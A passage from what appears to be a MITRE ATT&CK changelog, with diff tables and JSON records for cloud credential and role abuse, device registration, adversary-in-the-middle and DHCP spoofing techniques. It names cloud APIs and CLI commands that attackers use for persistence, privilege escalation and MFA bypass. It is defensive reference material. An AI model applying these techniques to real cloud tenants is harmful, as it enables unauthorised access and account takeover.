| > | interface, and Azure or Az PowerShell modules.(Citation: Dem | > | interface, and Azure or Az PowerShell modules.(Citation: Dem | ||
| > | ystifying Azure AD Service Principals) In infrastructure-as | > | ystifying Azure AD Service Principals) In infrastructure-as | ||
| > | -a-service (IaaS) environments, after gaining access through | > | -a-service (IaaS) environments, after gaining access through | ||
| > | [Cloud Accounts](https://attack.mitre.org/techniques/T1078/ | > | [Cloud Accounts](https://attack.mitre.org/techniques/T1078/ | ||
| > | 004), adversaries may generate or import their own SSH keys | > | 004), adversaries may generate or import their own SSH keys | ||
| > | using either the <code>CreateKeyPair</code> or <code>ImportK | > | using either the <code>CreateKeyPair</code> or <code>ImportK | ||
| > | eyPair</code> API in AWS or the <code>gcloud compute os-logi | > | eyPair</code> API in AWS or the <code>gcloud compute os-logi | ||
| > | n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key | > | n ssh-keys add</code> command in GCP.(Citation: GCP SSH Key | ||
| > | Add) This allows persistent access to instances within the c | > | Add) This allows persistent access to instances within the c | ||
| > | loud environment without further usage of the compromised cl | > | loud environment without further usage of the compromised cl | ||
| > | oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe | > | oud accounts.(Citation: Expel IO Evil in AWS)(Citation: Expe | ||
| > | l Behind the Scenes) Adversaries may also use the <code>Cre | > | l Behind the Scenes) Adversaries may also use the <code>Cre | ||
| > | ateAccessKey</code> API in AWS or the <code>gcloud iam servi | > | ateAccessKey</code> API in AWS or the <code>gcloud iam servi | ||
| > | ce-accounts keys create</code> command in GCP to add access | > | ce-accounts keys create</code> command in GCP to add access | ||
| > | keys to an account. Alternatively, they may use the <code>Cr | > | keys to an account. Alternatively, they may use the <code>Cr | ||
| > | eateLoginProfile</code> API in AWS to add a password that ca | > | eateLoginProfile</code> API in AWS to add a password that ca | ||
| > | n be used to log into the AWS Management Console for [Cloud | > | n be used to log into the AWS Management Console for [Cloud | ||
| > | Service Dashboard](https://attack.mitre.org/techniques/T1538 | > | Service Dashboard](https://attack.mitre.org/techniques/T1538 | ||
| > | ).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo | > | ).(Citation: Permiso Scattered Spider 2023)(Citation: Lacewo | ||
| > | rk AI Resource Hijacking 2024) If the target account has dif | > | rk AI Resource Hijacking 2024) If the target account has dif | ||
| > | ferent permissions from the requesting account, the adversar | > | ferent permissions from the requesting account, the adversar | ||
| > | y may also be able to escalate their privileges in the envir | > | y may also be able to escalate their privileges in the envir | ||
| > | onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn | > | onment (i.e. [Cloud Accounts](https://attack.mitre.org/techn | ||
| > | iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile | > | iques/T1078/004)).(Citation: Rhino Security Labs AWS Privile | ||
| > | ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example, | > | ge Escalation)(Citation: Sysdig ScarletEel 2.0) For example, | ||
| > | in Entra ID environments, an adversary with the Application | > | in Entra ID environments, an adversary with the Application | ||
| > | Administrator role can add a new set of credentials to thei | > | Administrator role can add a new set of credentials to thei | ||
| > | r application's service principal. In doing so the adversary | > | r application's service principal. In doing so the adversary | ||
| > | would be able to access the service principal\u2019s roles and p | > | would be able to access the service principal\u2019s roles and p | ||
| > | ermissions, which may be different from those of the Applica | > | ermissions, which may be different from those of the Applica | ||
| > | tion Administrator.(Citation: SpecterOps Azure Privilege Esc | > | tion Administrator.(Citation: SpecterOps Azure Privilege Esc | ||
| > | alation) In AWS environments, adversaries with the appropr | > | alation) In AWS environments, adversaries with the appropr | ||
| > | iate permissions may also use the `sts:GetFederationToken` A | > | iate permissions may also use the `sts:GetFederationToken` A | ||
| > | PI call to create a temporary set of credentials to [Forge W | > | PI call to create a temporary set of credentials to [Forge W | ||
| > | eb Credentials](https://attack.mitre.org/techniques/T1606) t | > | eb Credentials](https://attack.mitre.org/techniques/T1606) t | ||
| > | ied to the permissions of the original user account. These t | > | ied to the permissions of the original user account. These t | ||
| > | emporary credentials may remain valid for the duration of th | > | emporary credentials may remain valid for the duration of th | ||
| > | eir lifetime even if the original account\u2019s API credentials | > | eir lifetime even if the original account\u2019s API credentials | ||
| > | are deactivated. (Citation: Crowdstrike AWS User Federation | > | are deactivated.(Citation: Crowdstrike AWS User Federation P | ||
| > | Persistence) In Entra ID environments with the app password | > | ersistence) In Entra ID environments with the app password | ||
| > | feature enabled, adversaries may be able to add an app pass | > | feature enabled, adversaries may be able to add an app passw | ||
| > | word to a user account.(Citation: Mandiant APT42-untangling) | > | ord to a user account.(Citation: Mandiant APT42-untangling) | ||
| > | As app passwords are intended to be used with legacy device | > | As app passwords are intended to be used with legacy devices | ||
| > | s that do not support multi-factor authentication (MFA), add | > | that do not support multi-factor authentication (MFA), addi | ||
| > | ing an app password can allow an adversary to bypass MFA req | > | ng an app password can allow an adversary to bypass MFA requ | ||
| > | uirements. Additionally, app passwords may remain valid even | > | irements. Additionally, app passwords may remain valid even | ||
| > | if the user\u2019s primary password is reset.(Citation: Microsof | > | if the user\u2019s primary password is reset.(Citation: Microsoft | ||
| > | t Entra ID App Passwords) | > | Entra ID App Passwords) |
CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\n\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1098/003",
"external_id": "T1098.003"
},
{
"source_name": "Expel AWS Attacker",
"description": " Brian Bahtiarian, David Blanton, Britton Manahan and Kyle Pellett. (2022, April 5). Incident report: From CLI to console, chasing an attacker in AWS. Retrieved April 7, 2022.",
"url": "https://expel.com/blog/incident-report-from-cli-to-console-chasing-an-attacker-in-aws/"
},
{
"source_name": "Microsoft O365 Admin Roles",
"description": "Ako-Adjei, K., Dickhaus, M., Baumgartner, P., Faigel, D., et. al.. (2019, October 8). About admin roles. Retrieved October 18, 2019.",
"url": "https://docs.microsoft.com/en-us/office365/admin/add-users/about-admin-roles?view=o365-worldwide"
},
{
"source_name": "AWS IAM Policies and Permissions",
"description": "AWS. (n.d.). Policies and permissions in IAM. Retrieved April 1, 2022.",
"url": "https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies.html"
},
{
"source_name": "Google Cloud IAM Policies",
"description": "Google Cloud. (2022, March 31). Understanding policies. Retrieved April 1, 2022.",
"url": "https://cloud.google.com/iam/docs/policies"
},
{
"source_name": "Invictus IR DangerDev 2024",
"description": "Invictus Incident Response. (2024, January 31). The curious case of DangerDev@protonmail.me. Retrieved March 19, 2024.",
"url": "https://www.invictus-ir.com/news/the-curious-case-of-dangerdev-protonmail-me"
},
{
"source_name": "Microsoft Support O365 Add Another Admin, October 2019",
"description": "Microsoft. (n.d.). Add Another Admin. Retrieved October 18, 2019.",
"url": "https://support.office.com/en-us/article/add-another-admin-f693489f-9f55-4bd0-a637-a81ce93de22d"
},
{
"source_name": "Rhino Security Labs AWS Privilege Escalation",
"description": "Spencer Gietzen. (n.d.). AWS IAM Privilege Escalation \u2013 Methods and Mitigation. Retrieved May 27, 2022.",
"url": "https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Microsoft Threat Intelligence Center (MSTIC)",
"Alex Parsons, Crowdstrike",
"Chris Romano, Crowdstrike",
"Wojciech Lesicki",
"Pi\u00e0 Consigny, Tenable",
"Cl\u00e9ment Notin, Tenable",
"Praetorian",
"Alex Soler, AttackIQ",
"Arad Inbar, Fidelis Security",
"Arun Seelagan, CISA"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"IaaS",
"Identity Provider",
"Office Suite",
"SaaS"
],
"x_mitre_version": "2.5",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 01:15:48.758000+00:00\", \"old_value\": \"2025-10-24 17:48:35.082000+00:00\"}, \"root['description']\": {\"new_value\": \"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles) \\n\\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n\\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\\n\\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)\", \"old_value\": \"An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\\n(Citation: Microsoft O365 Admin Roles) \\n\\nThis account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n\\nFor example, in AWS environments, an adversary with appropriate permissions may be able to use the CreatePolicyVersion API to define a new version of an IAM policy or the AttachUserPolicy API to attach an IAM policy with additional or distinct permissions to a compromised user account.(Citation: Rhino Security Labs AWS Privilege Escalation)\\n\\nIn some cases, adversaries may add roles to adversary-controlled accounts outside the victim cloud tenant. This allows these external accounts to perform actions inside the victim tenant without requiring the adversary to [Create Account](https://attack.mitre.org/techniques/T1136) or modify a victim-owned account.(Citation: Invictus IR DangerDev 2024)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,4 @@\\n-An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)\\n-(Citation: Microsoft O365 Admin Roles) \\n+An adversary may add additional roles or permissions to an adversary-controlled cloud account to maintain persistent access to a tenant. For example, adversaries may update IAM policies in cloud-based environments or add a new global administrator in Office 365 environments.(Citation: AWS IAM Policies and Permissions)(Citation: Google Cloud IAM Policies)(Citation: Microsoft Support O365 Add Another Admin, October 2019)(Citation: Microsoft O365 Admin Roles) With sufficient permissions, a compromised account can gain almost unlimited access to data and settings (including the ability to reset the passwords of other admins).(Citation: Expel AWS Attacker)(Citation: Microsoft O365 Admin Roles) \\n \\n This account modification may immediately follow [Create Account](https://attack.mitre.org/techniques/T1136) or other malicious account activity. Adversaries may also modify existing [Valid Accounts](https://attack.mitre.org/techniques/T1078) that they have compromised. This could lead to privilege escalation, particularly if the roles added allow for lateral movement to additional accounts.\\n \"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
"previous_version": "2.5",
"description_change_table": "\n | Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | An adversary may add additional roles or permissions to an a | t | 1 | An adversary may add additional roles or permissions to an a |
| > | dversary-controlled cloud account to maintain persistent acc | > | dversary-controlled cloud account to maintain persistent acc | ||
| > | ess to a tenant. For example, adversaries may update IAM pol | > | ess to a tenant. For example, adversaries may update IAM pol | ||
| > | icies in cloud-based environments or add a new global admini | > | icies in cloud-based environments or add a new global admini | ||
| > | strator in Office 365 environments.(Citation: AWS IAM Polici | > | strator in Office 365 environments.(Citation: AWS IAM Polici | ||
| > | es and Permissions)(Citation: Google Cloud IAM Policies)(Cit | > | es and Permissions)(Citation: Google Cloud IAM Policies)(Cit | ||
| > | ation: Microsoft Support O365 Add Another Admin, October 201 | > | ation: Microsoft Support O365 Add Another Admin, October 201 | ||
| > | 9)(Citation: Microsoft O365 Admin Roles) With sufficient per | > | 9)(Citation: Microsoft O365 Admin Roles) With sufficient per | ||
| > | missions, a compromised account can gain almost unlimited ac | > | missions, a compromised account can gain almost unlimited ac | ||
| > | cess to data and settings (including the ability to reset th | > | cess to data and settings (including the ability to reset th | ||
| > | e passwords of other admins).(Citation: Expel AWS Attacker) | > | e passwords of other admins).(Citation: Expel AWS Attacker)( | ||
| > | (Citation: Microsoft O365 Admin Roles) This account modifi | > | Citation: Microsoft O365 Admin Roles) This account modific | ||
| > | cation may immediately follow [Create Account](https://attac | > | ation may immediately follow [Create Account](https://attack | ||
| > | k.mitre.org/techniques/T1136) or other malicious account act | > | .mitre.org/techniques/T1136) or other malicious account acti | ||
| > | ivity. Adversaries may also modify existing [Valid Accounts] | > | vity. Adversaries may also modify existing [Valid Accounts]( | ||
| > | (https://attack.mitre.org/techniques/T1078) that they have c | > | https://attack.mitre.org/techniques/T1078) that they have co | ||
| > | ompromised. This could lead to privilege escalation, particu | > | mpromised. This could lead to privilege escalation, particul | ||
| > | larly if the roles added allow for lateral movement to addit | > | arly if the roles added allow for lateral movement to additi | ||
| > | ional accounts. For example, in AWS environments, an advers | > | onal accounts. For example, in AWS environments, an adversa | ||
| > | ary with appropriate permissions may be able to use the <cod | > | ry with appropriate permissions may be able to use the <code | ||
| > | e>CreatePolicyVersion</code> API to define a new version of | > | >CreatePolicyVersion</code> API to define a new version of a | ||
| > | an IAM policy or the <code>AttachUserPolicy</code> API to at | > | n IAM policy or the <code>AttachUserPolicy</code> API to att | ||
| > | tach an IAM policy with additional or distinct permissions t | > | ach an IAM policy with additional or distinct permissions to | ||
| > | o a compromised user account.(Citation: Rhino Security Labs | > | a compromised user account.(Citation: Rhino Security Labs A | ||
| > | AWS Privilege Escalation) In some cases, adversaries may ad | > | WS Privilege Escalation) In some cases, adversaries may add | ||
| > | d roles to adversary-controlled accounts outside the victim | > | roles to adversary-controlled accounts outside the victim c | ||
| > | cloud tenant. This allows these external accounts to perform | > | loud tenant. This allows these external accounts to perform | ||
| > | actions inside the victim tenant without requiring the adve | > | actions inside the victim tenant without requiring the adver | ||
| > | rsary to [Create Account](https://attack.mitre.org/technique | > | sary to [Create Account](https://attack.mitre.org/techniques | ||
| > | s/T1136) or modify a victim-owned account.(Citation: Invictu | > | /T1136) or modify a victim-owned account.(Citation: Invictus | ||
| > | s IR DangerDev 2024) | > | IR DangerDev 2024) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may register a device to an adversary-controlled | t | 1 | Adversaries may register a device to an adversary-controlled |
| > | account. Devices may be registered in a multifactor authent | > | account. Devices may be registered in a multifactor authent | ||
| > | ication (MFA) system, which handles authentication to the ne | > | ication (MFA) system, which handles authentication to the ne | ||
| > | twork, or in a device management system, which handles devic | > | twork, or in a device management system, which handles devic | ||
| > | e access and compliance. MFA systems, such as Duo or Okta, | > | e access and compliance. MFA systems, such as Duo or Okta, | ||
| > | allow users to associate devices with their accounts in orde | > | allow users to associate devices with their accounts in orde | ||
| > | r to complete MFA requirements. An adversary that compromise | > | r to complete MFA requirements. An adversary that compromise | ||
| > | s a user\u2019s credentials may enroll a new device in order to b | > | s a user\u2019s credentials may enroll a new device in order to b | ||
| > | ypass initial MFA requirements and gain persistent access to | > | ypass initial MFA requirements and gain persistent access to | ||
| > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | > | a network.(Citation: CISA MFA PrintNightmare)(Citation: Dar | ||
| > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | > | kReading FireEye SolarWinds) In some cases, the MFA self-enr | ||
| > | ollment process may require only a username and password to | > | ollment process may require only a username and password to | ||
| > | enroll the account's first device or to enroll a device to a | > | enroll the account's first device or to enroll a device to a | ||
| > | n inactive account. (Citation: Mandiant APT29 Microsoft 365 | > | n inactive account.(Citation: Mandiant APT29 Microsoft 365 2 | ||
| > | 2022) Similarly, an adversary with existing access to a net | > | 022) Similarly, an adversary with existing access to a netw | ||
| > | work may register a device or a virtual machine to Entra ID | > | ork may register a device or a virtual machine to Entra ID a | ||
| > | and/or its device management system, Microsoft Intune, in or | > | nd/or its device management system, Microsoft Intune, in ord | ||
| > | der to access sensitive data or resources while bypassing co | > | er to access sensitive data or resources while bypassing con | ||
| > | nditional access policies.(Citation: AADInternals - Device R | > | ditional access policies.(Citation: AADInternals - Device Re | ||
| > | egistration)(Citation: AADInternals - Conditional Access Byp | > | gistration)(Citation: AADInternals - Conditional Access Bypa | ||
| > | ass)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lio | > | ss)(Citation: Microsoft DEV-0537)(Citation: Expel Atlas Lion | ||
| > | n 2025) Devices registered in Entra ID may be able to condu | > | 2025) Devices registered in Entra ID may be able to conduc | ||
| > | ct [Internal Spearphishing](https://attack.mitre.org/techniq | > | t [Internal Spearphishing](https://attack.mitre.org/techniqu | ||
| > | ues/T1534) campaigns via intra-organizational emails, which | > | es/T1534) campaigns via intra-organizational emails, which a | ||
| > | are less likely to be treated as suspicious by the email cli | > | re less likely to be treated as suspicious by the email clie | ||
| > | ent.(Citation: Microsoft - Device Registration) Additionally | > | nt.(Citation: Microsoft - Device Registration) Additionally, | ||
| > | , an adversary may be able to perform a [Service Exhaustion | > | an adversary may be able to perform a [Service Exhaustion F | ||
| > | Flood](https://attack.mitre.org/techniques/T1499/002) on an | > | lood](https://attack.mitre.org/techniques/T1499/002) on an E | ||
| > | Entra ID tenant by registering a large number of devices.(Ci | > | ntra ID tenant by registering a large number of devices.(Cit | ||
| > | tation: AADInternals - BPRT) | > | ation: AADInternals - BPRT) |
| Old Description | New Description | ||||
|---|---|---|---|---|---|
| t | 1 | Adversaries may attempt to position themselves between two o | t | 1 | Adversaries may attempt to position themselves between two o |
| > | r more networked devices using an adversary-in-the-middle (A | > | r more networked devices using an adversary-in-the-middle (A | ||
| > | iTM) technique to support follow-on behaviors such as [Netwo | > | iTM) technique to support follow-on behaviors such as [Netwo | ||
| > | rk Sniffing](https://attack.mitre.org/techniques/T1040), [Tr | > | rk Sniffing](https://attack.mitre.org/techniques/T1040), [Tr | ||
| > | ansmitted Data Manipulation](https://attack.mitre.org/techni | > | ansmitted Data Manipulation](https://attack.mitre.org/techni | ||
| > | ques/T1565/002), or replay attacks ([Exploitation for Creden | > | ques/T1565/002), or replay attacks ([Exploitation for Creden | ||
| > | tial Access](https://attack.mitre.org/techniques/T1212)). By | > | tial Access](https://attack.mitre.org/techniques/T1212)). By | ||
| > | abusing features of common networking protocols that can de | > | abusing features of common networking protocols that can de | ||
| > | termine the flow of network traffic (e.g. ARP, DNS, LLMNR, e | > | termine the flow of network traffic (e.g. ARP, DNS, LLMNR, e | ||
| > | tc.), adversaries may force a device to communicate through | > | tc.), adversaries may force a device to communicate through | ||
| > | an adversary controlled system so they can collect informati | > | an adversary controlled system so they can collect informati | ||
| > | on or perform additional actions.(Citation: Rapid7 MiTM Basi | > | on or perform additional actions.(Citation: Rapid7 MiTM Basi | ||
| > | cs) For example, adversaries may manipulate victim DNS sett | > | cs) For example, adversaries may manipulate victim DNS sett | ||
| > | ings to enable other malicious activities such as preventing | > | ings to enable other malicious activities such as preventing | ||
| > | /redirecting users from accessing legitimate sites and/or pu | > | /redirecting users from accessing legitimate sites and/or pu | ||
| > | shing additional malware.(Citation: ttint_rat)(Citation: dns | > | shing additional malware.(Citation: ttint_rat)(Citation: dns | ||
| > | _changer_trojans)(Citation: ad_blocker_with_miner) Adversari | > | _changer_trojans)(Citation: ad_blocker_with_miner) Adversari | ||
| > | es may also manipulate DNS and leverage their position in or | > | es may also manipulate DNS and leverage their position in or | ||
| > | der to intercept user credentials, including access tokens ( | > | der to intercept user credentials, including access tokens ( | ||
| > | [Steal Application Access Token](https://attack.mitre.org/te | > | [Steal Application Access Token](https://attack.mitre.org/te | ||
| > | chniques/T1528)) and session cookies ([Steal Web Session Coo | > | chniques/T1528)) and session cookies ([Steal Web Session Coo | ||
| > | kie](https://attack.mitre.org/techniques/T1539)).(Citation: | > | kie](https://attack.mitre.org/techniques/T1539)).(Citation: | ||
| > | volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade | > | volexity_0day_sophos_FW)(Citation: Token tactics) [Downgrade | ||
| > | Attack](https://attack.mitre.org/techniques/T1689)s can als | > | Attack](https://attack.mitre.org/techniques/T1689)s can als | ||
| > | o be used to establish an AiTM position, such as by negotiat | > | o be used to establish an AiTM position, such as by negotiat | ||
| > | ing a less secure, deprecated, or weaker version of communic | > | ing a less secure, deprecated, or weaker version of communic | ||
| > | ation protocol (SSL/TLS) or encryption algorithm.(Citation: | > | ation protocol (SSL/TLS) or encryption algorithm.(Citation: | ||
| > | mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls | > | mitm_tls_downgrade_att)(Citation: taxonomy_downgrade_att_tls | ||
| > | )(Citation: tlseminar_downgrade_att) Adversaries may also l | > | )(Citation: tlseminar_downgrade_att) Adversaries may also l | ||
| > | everage the AiTM position to attempt to monitor and/or modif | > | everage the AiTM position to attempt to monitor and/or modif | ||
| > | y traffic, such as in [Transmitted Data Manipulation](https: | > | y traffic, such as in [Transmitted Data Manipulation](https: | ||
| > | //attack.mitre.org/techniques/T1565/002). Adversaries can se | > | //attack.mitre.org/techniques/T1565/002). Adversaries can se | ||
| > | tup a position similar to AiTM to prevent traffic from flowi | > | t up a position similar to AiTM to prevent traffic from flow | ||
| > | ng to the appropriate destination, potentially to impair def | > | ing to the appropriate destination, potentially to impair de | ||
| > | enses and/or in support of a [Network Denial of Service](htt | > | fenses and/or in support of a [Network Denial of Service](ht | ||
| > | ps://attack.mitre.org/techniques/T1498). | > | tps://attack.mitre.org/techniques/T1498). |
INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "credential-access"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1557/003",
"external_id": "T1557.003"
},
{
"source_name": "rfc2131",
"description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
"url": "https://datatracker.ietf.org/doc/html/rfc2131"
},
{
"source_name": "new_rogue_DHCP_serv_malware",
"description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
"url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
},
{
"source_name": "rfc3315",
"description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
"url": "https://datatracker.ietf.org/doc/html/rfc3315"
},
{
"source_name": "w32.tidserv.g",
"description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
"url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.3.0",
"x_mitre_contributors": [
"Alex Spivakovsky, Pentera",
"Andrew Allen, @whitehat_zero"
],
"x_mitre_deprecated": false,
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Linux",
"Windows",
"macOS"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-03 23:43:50.809000+00:00\", \"old_value\": \"2025-10-24 17:48:49.941000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \\n\\n1. The client broadcasts a `DISCOVER` message.\\n\\n2. The server responds with an `OFFER` message, which includes an available network address. \\n\\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \\n\\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\\n\\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n\\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending an INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n\\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e., [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \", \"old_value\": \"Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\\n\\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \\n\\n1. The client broadcasts a `DISCOVER` message.\\n\\n2. The server responds with an `OFFER` message, which includes an available network address. \\n\\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \\n\\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\\n\\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n\\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\\n\\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\\u2019s DHCP allocation pool. \", \"diff\": \"--- \\n+++ \\n@@ -12,6 +12,6 @@\\n \\n Adversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\\n \\n-DHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use 